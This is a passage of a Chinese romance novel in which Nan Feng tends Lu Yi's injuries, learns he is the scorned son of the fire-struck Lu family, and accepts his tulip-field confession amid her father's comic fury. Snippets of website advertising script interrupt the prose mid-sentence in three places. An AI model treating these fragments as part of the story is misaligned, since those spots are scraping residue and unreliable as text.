面对男人近在咫尺的完美身材同样红了脸的还有南枫,这让她想起了夜里两人相伴看彗星的那一刻。虽然于情于理她都应该这样做,可此刻房间里的气氛多少让她明白了什么叫作茧自缚。 按照刚刚的步骤处理好手臂后,她爬上床跪在他身后检查他脖子后面的伤势:“后背不要紧有些红而已,但是脖子这边破皮了,伤口比较多,但还好不深没有流血。” “帮我看一下伤口里面有没有进泥沙。” “有一些。” “需要把泥沙都清理干净,消毒,最后贴上一层纱布就好了。” 湿海绵只擦掉了伤口表面的脏东西,一些掉进里面的小颗粒只能靠镊子清理,但这意味着需要掀开那层皮将工具深入进去,这一定很疼,南枫有些下不去手。陆易仿佛感应到了她的犹豫,贴心地鼓励她,整个过程漫长,即使她再小心还是听到他疼得频频倒吸凉气。 到了最后一步,南枫举着纱布比对伤口的面积,感觉到她贴近的那一瞬间,陆易紧张到浑身燥热,额头上渗出密密麻麻的汗珠。他闭上眼默默祈祷,希望治疗能快点结束,谁想南枫突然对着伤口吹了一下,似乎是想让皮肤上的碘伏快点干透。一阵凉意席卷而来,一热一冷让他更加心慌意乱,情不自禁地侧过脸看向她。 南枫被他突然的举动吓了一跳,抱歉地抿了抿唇:“我弄疼你了吗?” 陆易的喉结上下动了动,克制着内心的冲动,他没有回答她的问题却一直保持着看她的姿势。男人深邃的眉眼似醉非醉,面容俊逸非常。南枫盯着那朵盛开的棕色太阳花感觉身体轻飘飘的,整个人好像跌入了云里。恍惚间,她的身体突然失去重心开始左右摇晃起来,陆易见状连忙转过身扶住她。 突如其来的亲密接触是两个人都没有想到的,他的手掌宽大温热,稳稳地圈住她的腰。距离在不知不觉中缩近,两人鼻尖相碰,唇瓣几乎快要贴在一起,眼神失焦,她只觉得心脏开始疯狂地跳动起来,连呼吸都变得小心翼翼。 “南枫。”陆易轻唤她的名字让她清醒,同时也是为了阻止自己再靠近。她终于缓过神来,低低地“嗯?”了一声,向上的尾音像小猫的尾巴从赤裸的皮肤上划过,生起一路难耐的痒。他的声音有些嘶哑,眼尾似乎有些泛红:“不用吹,直接贴上就好了。” 确保她跪稳后陆易艰难地转过身去,腰间的温热离开的那一瞬间,她不知为何感到一阵失落。 8. 坦白 南枫借用饭店的电话往家里打了一个,就在南淇坤要回去的时候正巧林宅负责外出采购的阿姨回来了,他这才知道集市上发生的事情。因为担心南枫的安危,南淇坤离开林宅后跑去了医院和诊所,没发现女儿这才松了一口气,这会儿刚到家。 等在一边的陆易见她挂上电话后试探性地问了句:“电话都打好了?”在得到肯定的答案后,他垂眸思索了片刻,后点点头带着南枫一起走出饭店大门。 路经事发地,这里还没来得及收拾仍旧一片混乱,大家当然都躲回家去了,只剩下几个小贩还在寻觅,看看被炸毁的摊位上还剩下些什么可以带走,多少弥补一点损失。几名清洁工人收拾着满地的狼藉,扫帚刮蹭焦黑的地面发出“窣窣”的声响,除此之外便是一位妇人的啜泣声。 这时,不知从哪里突然投来几片烂菜叶,一股脑地全打在了陆易胸口上,两人均是一震。只见刚还在掩面哭泣的妇人怒气冲冲地跑了过来,她恶狠狠地瞪着陆易咆哮,话里的意思是发生这样的事全是陆易的错。她边骂边推搡他,骂他是煞星,还说近期的天灾人祸全是拜他所赐,强词夺理地嚷嚷着让陆易把她老公的腿还回来。 说话间隙,她捡起地上几个破损的土豆砸向他,发出沉闷的“咚咚”几声。陆易低着脑袋不吭声也不闪躲,这让南枫很是着急,她轻轻扯了扯他的手臂挡在他面前,劝那位妇人冷静一些。她不明白这个人为什么要把气撒到陆易身上,为什么要说他是煞星?也不明白陆易为什么就这样站着什么都不做。 这时,陈伯出现,他将那失了心智的女人拉到一边,对两人解释道:“医院那边刚传来消息说她老公的腿可能保不住了。她现在神志不清,你们就别跟她计较了。”说完便强行带着那位妇人离开了。 南枫不是很满意这样的处理结果,她的老公失去双腿是可怜,可陆易就不可怜吗?平白无故地被人又打又骂的,更何况他在这事上帮了大忙,刚刚路过警局时连警察都夸他来着,怎么到了一些人嘴里就好像一切都成了他的错? 南枫在内心替他打抱不平,陆易却好像没在听。他目视前方眼神没有焦点,全程没有说一个字也没有多做一个动作。南枫轻拍他的胳膊,男人这才回过神来,他无力地对她笑了笑又伸手替她理了理披在身上的外套。 他的衬衣上粘着一些烂叶子残片,深绿色的汁液在浅色的布料上留下斑斑点点,她掏出包里的手帕帮他擦拭着。看到他腕骨红红的,想必是刚刚被土豆砸中导致,南枫又上手帮他揉了揉手腕。 “没事。”陆易终于开口说话,“不疼。”即便刚刚经历过那样的事他的语气还是温柔得不可思议。南枫也冲他笑了笑:“疼不疼我都想要这样做。”他没有理由受到这样的对待,虽然他什么也没说可他的表情骗不了人,南枫希望可以给予他安慰,替他抚慰那些在他内心深处不曾表露的委屈。 回去的时候南枫走在前面,陆易在后面跟着,一路上两个人各怀心事再没有任何眼神交流或是言语交谈,等快到家的时候陆易才终于开口询问:“南枫,你听说过半山城陆家的事吗?” “听说过一些。” 陆易顿了顿,像是下了很大的决心才问出口:“你认为是儿子放的火吗?为了报复陆家?” “我相信警察搜证的结果。人心难测,但是证据不会骗人。” 而证据就是,警察在主人的卧室里发现了酒瓶、打火机以及大量的烟头。大火被扑灭之后尸体都呈现出斗拳状姿态,并且都在正厅的门后,想必是想逃却最终没能成功。只有主卧的门被上了锁,原本摆在偏厅的骨灰盒被移到了床头柜上,陆太太一人躺在床上,体内被检测出大量的助眠药物,而陆家儿子那个时候还在放学回家的路上。 陆易的内心慌乱无比,放在口袋里的双手紧握成拳头,他盯着地上自己的影子,轻抿了下唇:“那……你会认为那个小儿子是煞星吗?” 也许上坡的地势为他轻颤的尾音做出了合理的解释,可他问的这两个问题都非常有指向性,加上他的姓氏和房间里那一袋东西,以及刚刚在集市上发生的事。南枫已经猜到了答案,可她想听他亲口说。她停下脚步转过身,斜坡上,两人隔了一小段距离,角度正好够她平视他:“你是谁?” 该面对的总归是要面对的,从他决定问出口的那一刻开始就已经为这一刻做好了准备。陆易停下步伐看向她,眼底的复杂情绪纠缠不清,有不安和委屈,带着一点不甘心还有一丝期盼,它们在短短的半秒时间里互相撕扯后归于平静。他决定不再隐瞒也不再逃避,因为他真的在乎她的看法,若想走进她的生命就不应该欺骗她。 “我就是陆家那个被抛弃的小儿子,陆易。” 验证了自己心中的猜测,南枫轻轻点了点头转身继续向前。她的反应比他预想的要冷淡得多,让他有些捉摸不清,陆易不敢确定南枫现在是否还愿意和他说话,他只能站在原地,目光追随着眼前的人越走越远,焦急不安地等待着最终审判结果。 南枫并没有立马回家关上大门,她踱步至树荫底下,那里摆着一张长椅,见他没跟上,她疑惑地冲他歪了歪脑袋,陆易这才迈开步子来到她身边坐下。 初夏的日光在枝叶间交错浮动,午间柔和的风灌满了整片山坡,对此刻的陆易而言却太过灼热,生怕下一秒就会灰飞烟灭。 “这就是你之前犹豫的原因吗?你怕我介意你的身份?” 陆易垂着眼帘,手心开始冒汗:“我怕你讨厌我,或者害怕我。” “我干嘛要因为这个讨厌你?又怎么会怕你?” “我怕你会像他们一样觉得这一切都是我的错。我担心你一旦知道我的身份,会害怕祸事降临到自己头上而远离我。”陆易感到了前所未有的压力,像被一座大山压着喘不过气,“别人怎么对我我已经无所谓了,可我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不希望你也那样看待我。” 南枫迟迟没开口,空气中弥漫着令他窒息的紧张感,陆易咬紧牙关,喉咙干涩到发声困难,指甲嵌入掌心留下几轮弯弯的月影。 “看来你那天晚上没有好好听我说话啊!”她突然说了这样一句令他摸不着头脑的话。陆易的心里“咯噔”了一下,表情惶恐不安,虽然她的语气始终温和动听,可来自她的指责是陆易承受不起的。南枫侧过脸看他:“我会怎么看待这件事,怎么看待他们的评价,怎么看待你,这些我早就给过你答案了。还记得吗?彗星划过的那个夜晚?” 当然记得,他一辈子也不会忘记。那个晚上她没有拒绝他的靠近,她说她不认为彗星是一颗灾星,不认为灾难因它而起,她因彗星的到来兴奋欢喜,也欣赏他对彗星的独到解说,也是在那一晚她主动告知了他自己的姓名。内心的阴霾瞬间消散得无影无踪,他感叹自己的迟钝,好在他没有看错她也没有赌错。 “杜撰是人类的劣性,传播是生存本性。他们被封闭在这座山城太久却又不愿意走出去,只好说些闲言碎语打发无聊苦闷的日子,但不是所有人都是这样的。你今天保护了我,保护了神婆,你还救了陈伯,若不是你冲上去护着他说不定他已经没命了,如果不是有你的指挥今天受伤的人只会更多。当年警察还了你清白,过了今天想必大家也会对你产生不一样的看法。” “可是。” “可是什么?”南枫打断了他,“可是那位妇人的老公失去了双腿吗?难道他刚好站在那里是你造成的?她只是心里苦没地方宣泄,她抓住了你就像是抓住了最后一根救命稻草。人性就是这样,好像把所有的怨气发泄到别人身上就可以减少自身的痛苦。这不是你的错,你也不应该任由他们继续欺负下去。” 没人懂这些话对他究竟意味着什么,她一句“你没有错”就是对他否定自己的绝对反驳。陆易感觉到胸口一阵温热,心像是被一团温热柔软的毛巾包裹着,不再受冰冷风雨的无情拷打。原本已经对生活失去希望的人因她重燃火焰,陆易渴望在有南枫的生命里好好生活。他转过头与她对视,心想原来她这么伶牙俐齿,能说会道的吗?第一眼的时候倒是没看出来。 微风轻拂,四周仿佛响起了欢快的生命乐章,蝴蝶牵着风将他推向她。 “吱呀”一声大门被打开,南淇坤一出门就看到了远处长椅上的一对男女,仔细一看好像是自家女儿,于是冲两人大喊。一个上午发生了太多事,眼下早就过了午餐时间,爸爸肯定等着急了。南枫迅速起身带着陆易过去打招呼,陆易十分紧张拘谨,手心在衣服上擦了又擦才伸出去和对方握手。 南淇坤瘪着嘴扫了这个陌生的年轻男人一眼,略显敷衍地回复了一句“你好”之后便斜眼看向自家女儿,一副“你老实招来”的模样。南枫率先进了屋,老父亲眼神里如烈火般熊熊燃烧的八卦之魂就这样被无情地屏蔽掉了。 9. 暗潮涌动 “在我们家用餐吧!感谢你的救命之恩。”南枫热情地邀请陆易进屋。听到这话,南淇坤将原本审视的目光从陆易脸上移开,转为惊慌落在女儿身上,“什么?怎么?你上午小命差点要没啦?” 南淇坤当然是真的关心她,只不过说话的调调总给人不太认真的感觉。南枫自然是懂的,她扯下外套向爸爸展示伤口,表示自己确实是受伤了。 只贴了两片创可贴的伤势想必不会多严重,但做父亲的还是露出了心疼的表情,追着女儿问了好几遍“疼不疼”。南枫借着机会对爸爸撒娇,说自己现在是病患,不能下厨房。南淇坤当然不舍得让她再做家务,这时候,陆易却突然自告奋勇地表示可以帮忙,只不过说出口的下一秒就后悔了,因为他根本就不会做饭。 南淇坤对陆易感激不尽,哪里能让女儿的救命恩人干活?忙说让他坐好等着就行。陆易立马应声乖巧地坐下,暗自庆幸自己没经过大脑的逞强没有酿成笑话。南枫给陆易倒了杯水,让他随便参观,自己则跟在父亲后面进了厨房。 屋子里装修得很简单,东西不多,只摆了些花草做装饰。木质餐桌很大一张,上面有烛台和干花,还有一份今早的报纸,门口的扶手椅上放着画板和工具箱。前门和侧门都开着,流动的风夹杂着远处松树的清香扑面而来。从大门望出去是一望无际的绿色,在太阳的照射下,清风的轻抚下,那些可爱的绿色精灵牵着手,随着律动左右摇摆。 一份小葱炒鸡蛋,一份烤鸡,一份清炒油麦菜,清爽又温馨。陆易来到庭院里洗手,六月的暖风拂过耳畔,麻雀清脆的叫声时不时响起,这一刻美好得太不真实,他从没想过居然有一天真的进到这房子里来与心悦之人共进午餐。 “吃饭啦!”屋里传来呼唤他的声音,男人的身体有一瞬的颤抖,确定这不是梦后悄无声息地热了眼眶。 餐桌上,南枫和陆易并肩坐着,南淇坤坐在他们对面,吃饭的时间里没有人讲话,只有远处的鸟叫声和风声做伴。南淇坤频繁给陆易夹菜,只一口青菜便令他感到无比幸福,清爽的蔬菜在蒜末的配合下多了一层风味,脆甜适口。激发食欲的油润烤鸡已经彻底入了味,而像小葱炒鸡蛋这样的家常料理,虽然简单却十分下饭。原来带着情感的食物是真实存在的,这还是他头一次品尝到。 用餐结束后南淇坤又邀请他一起品茶,清润的绿茶是饱餐一顿后最合适的饮品,不仅香气高扬而且回甘悠长。南淇坤端起茶杯品了一口,满足地点了点头,郑重地向他道谢:“我听南枫说了早上的事情,谢谢你救了我的女儿,我感激不尽!另外,你没有做错任何事情,所以不要觉得抬不起头。” 后半部分的话陆易始料未及,想来南枫已经将发生的事情对父亲全盘托出,他的神情有一瞬的惊愕,过了几秒才反应过来。陆易坐着沉默不言,但微微颤抖的肩膀将他内心深处的震撼与感动展露无遗,他放下内心最后一丝担忧,感激地对南淇坤点了点头。 * 六月的天阴晴不定,南枫从顾家出来的时候还是大晴天,走到半路却突然下起了雨,她一边“哼哧哼哧”地加速往家跑,一边挂心爸爸是否带伞了。快到家的时候,她见到一个怪人坐在树下的长椅上,走近一看才发现是陆易撑着伞悠闲地翻阅报纸。 豆大的雨滴敲打伞面汇成小溪,像无数道微小的瀑布从伞面坠落。南枫有些哭笑不得地看着他,这样的行为艺术让她不知作何评价。 “你回来了!” 陆易看见她便笑了,眉眼舒展,完美的唇形漾着纯粹的笑容,他看起来心情极佳,丝毫没有受到雨水的困扰。南枫已经被彻底淋湿了,他还是站起来把人罩进伞里。 她看着他,不解地问道:“你在这里干吗?”男人咧着唇,“等你啊!”说完,他将报纸叠好扔进随身的袋子,护着南枫往她家里走去。家里果然断电了,黑漆漆一片,只要下暴雨就常常出现这种状况。南枫打开柜子取出火柴盒,动作利落地点燃了挂在墙上的老式煤油灯,屋内终于亮了一些。 这时从门外飞进来一只白蛾,它先是在窗边盘旋了几回,后急切地一头撞向屋内唯一的光亮。烫!它火速远离,却还不死心,好在有一层玻璃不至于被烧成灰烬。 南枫顾不上自己,着手擦拭被淋湿的教材书,雨水顺着发尾滴落,渗入实木餐桌。陆易瞥了一眼,伸手从她手里抢过书本,催她先去擦干免得感冒。南枫跑去检查伞桶,里面放着两把雨伞,爸爸果然也忘带了。狂风呼啸,雨水成四十五度角一排排地落下,看来光打伞没用,还要再穿件雨衣比较保险。 她跑上楼脱下湿透的外衣,拿了块毛巾就匆匆下来了。陆易已经把书本里里外外擦了一遍,翻开晾着,乖乖坐着等她。 “你到底来干吗的?”她向这位不速之客发问,因为急着给爸爸送伞没注意语气。还好陆易没放在心上,他不在意地笑了笑,一脸乖巧地把带进来的袋子提上桌:“我饿了。” 南枫疑惑地凑近看了看,里面有一袋排骨和一袋水果。“这里可不是餐厅。”她有些不悦地皱眉说道,“我还要去接我爸爸回来,没有空陪你。” 陆易懂事地“哦”了一声,没再说什么。 南枫把毛巾随意地挂在椅背上,转身去柜子里找雨衣。煤油灯的照明范围有限,她蹲着翻了好一会儿才找到。喧嚣风雨不断拍打在门窗上,像极了欲破门而入的强盗,与室内的静谧形成强烈的反差,听着让人心里有些发毛。 刚站起身,幽暗的墙壁上浮动着一个高大的黑影,即便她看不到身后却能真切地感觉到有一股危险的气息正在慢慢向她靠近。南枫盯着那抹越来越近的影子,难以抑制的恐惧仿佛已经溢到了喉咙间,一股寒意涌上脊背,无数种恐怖的猜想在心中缠绕。 她捏紧手中的雨衣,鼓足勇气转过身,眼睛正好对上了那人的下巴。因为着急去接爸爸竟忘了陆易还在家里,那影子自然是他的。这人不知道是什么时候来到她身后的,还贴得如此近,近到南 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 枫甚至能看到他下巴上的胡渣。 她松了一口气,正要开口却被抢先了一步。 “南枫,”男人的声音清醇悦耳,低低地飘进耳中,恍若亲密的情人在耳边嘶语,“你是不是根本就没有什么未婚夫?” 没料到他会说这个,悬着的心刚放下没多久又提到了嗓子眼。南枫愣了一下,后缓缓抬起头对上了陆易笃定的眼神,男人深邃的双眸散发着强大的气场,好似早已将她看透。他的脸上向来带着温暖的笑意,此刻却注满了能将她灵魂淹没的灼热。 这还是南枫第一次感受到来自他的压迫感,她像个没写作业被老师抓包的坏学生,本想辩解说自己不是没写只是忘记带了,可谁都知道那是什么意思。 无力狡辩。 “嗯?” 陆易又追问了一声,尾音向上的单音节却杀伤力十足。 屋外风雨在狂舞,如同此刻南枫猛烈跳动的心脏。他的胸膛微微起伏,温热的呼吸近在咫尺。也许是两个人靠得太近的缘故,他低沉的嗓音在屋外的呼啸声中显得格外魅惑。即使承认自己撒了谎也合情合理,可这样近的距离让她一下子慌了神,能言善辩好像已经是上辈子的事情。 她睁着一双湿漉漉的漂亮眼睛呆呆地望着他,陆易人生中少有的占有欲“轰”地一下子就上来了。他轻轻圈住她的手腕,往下,她的指尖微凉,而他的手掌温暖干燥,几乎是在相碰的第一瞬就让南枫起了一身的鸡皮疙瘩。陆易像是变了个人,又或许他本来就是这样的,毕竟他们才认识几天。 温热的指腹在她空荡荡的无名指上轻轻抚过,他耐心地再一次追问道:“是不是?” 如梦初醒,南枫的心脏骤然一紧,随后彻底放弃挣扎,她明白自己已经被看穿了。陆易本就有九成把握,见到她这样的反应知道是自己猜对了,脸上笑意浮现。 没完全擦干的水珠顺着额头的弧度缓缓滚落,存在感太强,陆易很难不去注意。他的目光不自觉地追随那一滴水珠的运动轨迹,注视着它如何划过饱满的额头、好看的眉骨、微红的脸颊,紧接着又掉落到她的锁骨上,然后再往下…… 待目光触及领口边缘忽隐忽现的起伏,陆易原本盛满欢喜的眸底猛然一颤,他慌忙地收回目光,装作不经意地深吸一口气,后稍稍拉开了距离。脱离桎梏,南枫终回过神,唇瓣动了动却没出声,她害羞地轻咬下唇,用冰凉的指尖碰了碰发烫的脸颊。 天地昏暗,烛火摇曳暗昧,女孩修长的睫毛在眼下投下一片暗影,屋外狂啸的风雨仿佛早已被遗忘,在半山坡的这一小片天地只剩下彼此的存在。 雨已经糊了窗,陆易伸手拿过她手里的雨衣,隐匿笑意的声音幽幽地响起:“雨太大了,我去接你爸爸吧。” 一双美目清浅迷蒙,抬起的瞬间撞进他热烈的视线,南枫稳了稳呼吸,假装镇定:“你不吃排骨了?” 细碎的火光在空气中交错汇聚,陆易盯着她,慢慢勾起唇角:“我饱了。” 10. 半山坡的黄色郁金香 林影确实很满意严峻笙,就如严峻笙也认为她是最符合严家标准的儿媳一样。那天舞会后两人来到山顶一起看月亮,山顶风大,他贴心地准备了毛毯和驱蚊液,还带上了热茶和点心。他绅士地扶着她走山路,也会选她感兴趣的话题深聊,周到得完全挑不出毛病。 林宅有门禁,林影必须在十二点前回去,赏月结束后严峻笙开车送她回家,一路上也算聊得开心。只不过......林影望着远去的车子,觉得心里好像缺失了一块位置。门当户对,一表人才,这个人什么都好却又好像有哪里不对劲。 开车回来的路上遇到警察办事,因此耽搁了一会儿,到家的时候已经超了门禁时间,但因为知道她是和严峻笙出去的,林父和林母并没有责怪她。林影困得不行,却被要求将两人的约会过程如实相告,半个小时后才放她回房休息。 等她洗漱完已经是夜里一点多,睡意全无。柔和的月光流银泻辉,乌黑的夜空星光迷离。她踩着月色来到阳台上,看着月亮,脑海里全是严峻笙的一颦一笑。第一次约会,本该是属于两人之间梦幻且难忘的美丽夜晚,可女孩甜美的脸上浮动着的却是沉闷的压抑和对未知的恐惧。 她想给南枫打电话,想想还是算了,这个时间她肯定已经睡下了。 应该就是他了吧,毕竟这个男人是她到目前为止接触到最满意的一个。林影在阳台上踱着步,手掌抚着胸口一点一点地顺,试图赶走内心的挣扎与不安。 一阵夜风从她耳畔经过,带着花朵的芬芳,夜的香气弥漫而开。那是她跟南枫要来的花苗,一次偶然在南枫家里闻到,她觉得喜欢,南枫就送了她一些。 风吹乱了她的长发,吹散的又好像不只有头发。 * 两天了,整整两天他都没有出现。 南枫心不在焉地坐在餐桌前,时不时看时间又时不时地将目光对准大门,问她是不是在等人她说不是,问她有没有哪里不舒服她说没有,如此来回几个回合后南淇坤也就不再问了,孩子大了有自己的秘密很正常,他从不强求。 笨重的时钟敲响了十一点,累了一天的南淇坤捶着酸痛的腰背上楼休息去了,南枫却没有任何睡意,她看着墙壁上的煤油灯,思绪瞬间被带回那个下暴雨的傍晚。 幽暗嘈杂的环境里两个人贴得很近,他一身清爽的洗洁剂味道,带着笃定的表情,用充满魅惑的低沉嗓音将她看透。她到现在仍然能记得陆易掌心的温度,记得他牵着她的力道,以及他干燥的拇指温柔地抚在皮肤上的感觉。 陆易将她完完全全裹进他的领地中,在她的心以及身体上留下标记,以至于除了他的眼和温度南枫再也感受不到其他的。凉飔四起,涟漪叠叠不只因为风。她闭上眼叹了声气,整个人就像是要烧起来一般燥热难安。整颗心七上八下的,这种感觉很陌生——怕见到他,又怕见不到他。 如果说昨天的南枫是因为不好意思而不敢见他的话,那今天的她却是为了陆易的迟迟不肯现身在生闷气。11点42分,想必今天也不会来了,她将闹钟反扣在桌面上,锁好大门后就气鼓鼓地上楼睡觉去了。 可带着心事是无法安然入睡的,到了夜里更是辗转反侧,越发心烦气躁。眼皮很重,脑子却异常活跃,熬到好不容易有了睡意,屋外却时不时传来一些奇怪的声响。南枫懒得起身去查看,怕起来后又清醒过来,她不开心地翻了个身,用被子将脑袋紧紧蒙住。 一夜无梦,第二天醒来是早上7点41分。 她踮着脚尖轻手轻脚地来到爸爸房间探了探,南淇坤平日里七点半之前就会醒,今日却还睡得很沉。南枫有些自责,都怪她这两日昏头昏脑的,累活全让爸爸一个人干了。 昨天,南淇坤从外边带回来一大包油菜花种子,想着种下后既可以让爱养花的女儿开心,等收获后又可以榨成油拿去市场上卖掉,一举两得。说好两人一起劳作的,可装备齐全的南枫总是对着路口发呆,就被他打发去厨房准备午餐去了。 南枫回房间换了一袭白裙,决定要准备一顿丰盛的早餐犒劳父亲。刚准备下楼就听到有什么东西敲打在玻璃窗上,她盯着窗户等了一会儿,没动静,还以为是自己听错了,刚转过身去,结果又一枚小石子砸来。是谁在搞这么无聊的恶作剧?她气愤地跑到窗边,打开窗户正准备教训那人,映入眼帘的景象却让她愣在了原地。 明媚的晴天,早晨的气温不高,微风轻拂,浮云淡薄。楼下的草坪一夜之间长出了成片的黄色郁金香,花开烂漫,铺设成一幅绝美画卷,而花丛中央站着的,是那个几日不见踪影的男人。 陆易平日里总穿各式各样的衬衫,以柔软的棉质为主,今日却罕见地着了一身鲜艳的蓝色西服。西装里面是一件白色衬衣,外面套着一件西装同色马甲,他甚至还戴了领带和礼帽,非常正式的打扮。 男人手捧一束郁金香,站在万花中仰起头,眼里只有他心仪的女人。他终于出现了,南枫这才明白自己这两日的头昏脑胀都是因为什么,因为想念他。 她不再满足于遥远的对视,轻手轻脚地下了楼,捂着胸口快速穿过餐厅,打开大门缓缓向他走去。不管是阳光、花朵,还是他的笑容,都在预示着夏天!即使没有感情经历,她也明白自己到底是怎么了。 动心。一颗心脏因一个人而疯狂跳动,忐忑不安又欣喜若狂。 短短的路程好像走了许久,当她终于站定在他面前,男人的笑容又多了三分,“早安,南枫!”对上他含情脉脉的双眸,心脏仿若被一束阳光包围,她细细品味其中的甜蜜,面上仍旧不动声色,像是不知道该如何回应。 陆易笑着走近一步,将手里的鲜花递给她:“我喜欢你。”南枫的脸上依旧没有明显的情绪,好像没有听到他说的话一样:“你这两天去哪里了?” 陆易示意了一下身后的花海,解释道:“为了准备这些花费了点时间。不好意思,让你久等了。”南枫抿了抿唇,语气里带了些连她自己都没察觉到的娇嗔:“确实有点久。” 陆易再一次举起手里的花,“我喜欢你。”南枫仍旧没有伸手接:“你为什么不打电话和我说一声呢?”听到这,男人的表情有些无辜,因为他根本就没有她家里的联系方式。 “那我等下给你。” “好。” “我喜欢你。” “我没有未婚夫,我以为你是坏人才随口编了一个理由。” “嗯,我知道。”陆易没想到自己真心实意的告白会被她用“口出狂言”四个字来概括,他无奈地扬了扬眉,可看着眼前逐渐变粉的脸蛋又忍不住笑了,眼里多添了几分暖意:“那你的戒指是怎么回事?” 这下轮到南枫无奈了:“一个朋友给我的,已经还给他了。”陆易故意摆出一副怀疑的表情,“这么凑巧?”南枫以为他不信,但这解释起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来比较长,她不认为现在是合适的时间,只说以后再跟他慢慢解释。陆易含着笑点点头,没再问下去。 南枫盯着他手里的花,像是在对自己的心意做最后一次确认,她需要时间,他便给她时间。在大自然壮美绝伦的画卷里,年轻男女站在彼此的对面。她低头思索着,他温柔地望着她,耐心等待着。最后,她缓缓抬起头,露出了甜甜的笑容。 鲜艳的明黄色与她洁白的裙子十分相配,这场景似曾相识,记得他第一次表白的时候也是带着一束花来见她的,那天的她同样穿了一袭素净的白裙。只是这一次,女孩接过花的动作没有犹豫,眼里也多了一些他渴望的东西。 陆易:“南枫,我喜欢你。” 南枫:“我也喜欢你。” “嘟嘟!——” 美好的气氛被一声愤怒的鸣笛打破,顾嘉诚不知道来了多久,正站在车子旁边一脸黑线地瞪着他们,见两人终于不再对视才黑着脸走了过来,开口便是嘲讽:“南老师到上课时间了还没现身,打电话也不接,我只好亲自来接驾了。”说着,他充满敌意地瞥了陆易一眼又转过脸来死死盯着南枫,好像要在她脸上烧出一个洞来。 南枫这才想起来今天是上课的日子,她说了声“抱歉”便要回去准备,顾嘉诚却不肯了,拦着她不让走:“看你挺忙的,要不然今天就放南老师休假一天吧。” 这语气谁听了都会觉得不舒服,但毕竟错在自己,南枫顺了顺气,平静地回复他:“不用,今天晚一个小时下课就是了。”顾嘉诚不依不饶:“没关系,既然南老师忙着和男人在这里眉来眼去,想必去了也没有心思好好上课,不如就给你放一天假,免得到时候心不在焉辱了您人民教师的声誉。” “顾嘉诚你发什么疯?!”南枫终于忍不住了,“不是说了晚一个小时下课吗?你在这里阴阳怪气的干什么?” 顾嘉诚被呛地无话可说,自知说不过她,他气急败坏地一把拉过人将她强行往车里带。一直没出声的陆易见他上手了便不再无动于衷,一个箭步上前扯掉他的手,把南枫拉到自己身后。 顾嘉诚不敢置信地瞪着陆易,满脑子都是他们两个人浓情蜜意对视的画面,他没有揍他一拳已经是客气了,居然还从他手里抢人!他克制不住自己的脾气,撩起袖子就想和对方好好较量一番。然而,这个时候头顶却传来了南淇坤的阵阵惨叫:“是哪个臭小子干的好事?!” 南淇坤“噔噔噔”地飞速冲到楼下,气得满脸通红,指着花田对不明所以的三个人大喊道:“到底是谁干的?!”忙活了一整天种下的油菜花,可怜的小家伙们都还没来得及发芽就被鸠占鹊巢。 顾嘉诚和陆易一脸茫然,只有南枫顺着爸爸的目光往后看了一眼,恍然大悟。她撇了一眼还不知道自己干了坏事的陆易,但也就是这一眼不小心出卖了他。南淇坤大叫着陆易的名字,举起手里的蒲扇就要去打他,陆易吓地连连后退,想解释点什么却又不知道到底哪里做错了。 南枫放下手里的花追上去,中途回过头对顾嘉诚说让他先回去,顺便帮她向顾老爷请个假。顾嘉诚委屈地瞪大了眼睛:“你不是说晚一个小时下课吗?怎么变成不来了!?” 顾嘉诚看着远处热闹的三个人心里很不是滋味,可也只能开车走人。回去的路上,脑海里不断地浮现出南枫对那个男人笑的样子,那是她从来没有对他展示过的,特别温柔的笑。 11. 初吻 南淇坤的腿脚速度肯定是追不上陆易这个常年健身的年轻人的,但陆易不敢真的跑太远,也不敢去阻挡伯父向他挥来的手,一场追逐下来只有南淇坤累得气喘吁吁。见得着却抓不住,实在令人火大!他嫌弃地看了眼手里那毫无战斗力的武器,干脆扔掉扇子举起了草坪上的铲子,他气愤地铲了一堆土,扬言要把陆易就地埋了。 南枫再也看不下去这场闹剧,冲上前本想阻止爸爸谁料反倒被泼了一身泥。顿时,整个山坡上回响起她惨烈的叫声,南淇坤这才停手。顾不上自己,陆易快速折返回来捧起她的脸,想确认泥土是否进眼睛里去了。如此亲密的动作令一旁的父亲瞠目结舌,气到差点吐血,他立马丢掉铲子上前推开陆易:“干什么?干什么你!动手动脚的成何体统!” 南枫随意地抹了抹脸上的土,什么也没说扭头就往屋里去,南淇坤忧心忡忡地跟在女儿身后进了屋,但他不准这个男人跟进来,可怜的陆易就这样被关在了门外。南枫仔细地洗了把脸,扒开眼皮照镜子,脏东西倒是都洗干净了,只是一想到土里可能有的各式各样的小虫子就恶心得起鸡皮疙瘩。 南淇坤就等在卫生间外面,一脸的歉疚和担忧。南枫自然也是心疼父亲的,毕竟他付出了很多精力,还没见到成果呢就这样被糟蹋了,她左右为难,好在南淇坤不是不讲理的人。但是一码归一码,他或许可以原谅陆易因为不知情弄坏了他的地,可他刚刚对自家女儿做出的亲密举动他忘不了。 虽说知道南枫是在讲述实情,但他断定这其中一定掺杂了些为陆易开脱请罪的嫌疑:“你还帮那个臭小子说话?话又说回来,他在我们家楼下种那玩意儿做什么?他这是想追你?” 南枫慕然红了脸,不自在地撇过头,心想要她怎么说呢?不是想追,而是追到了。 闹了这么一通早就过了中午,这下两人都错过了上班的时间,于是父女俩开始轮流打电话请假。虽然已经跟顾嘉诚说过了,但南枫还是打到顾家向顾老爷再次说明情况,并保证一定会把今天缺的课都补上。南淇坤就比较幸运了,林影早上就差人打电话来过,说自己上午有事情要把课程改到下午的。南淇坤收拾好就下山去了,他打算去店里吃碗面就直接去林宅。 见爸爸走远后南枫才冲门外的人招手示意,在烈日下罚站了好一会儿的陆易这才委屈又无奈地进到屋子里,那表情像极了小孩子,抿着唇一声不吭,满是委屈与惶恐。见他满头是汗,南枫推他上楼去洗把脸,自己则进了厨房。 本来规划着要精心准备一份早餐孝敬父亲,谁料闹了这么一出,导致爸爸的早餐只能连着午饭一起匆匆解决,而南淇坤嫌餐厅里的食物油多,向来是不喜欢在外边用餐的,想到这里,南枫心里的愧疚又多了几分。 午餐已经准备好了,但人还没有下来。 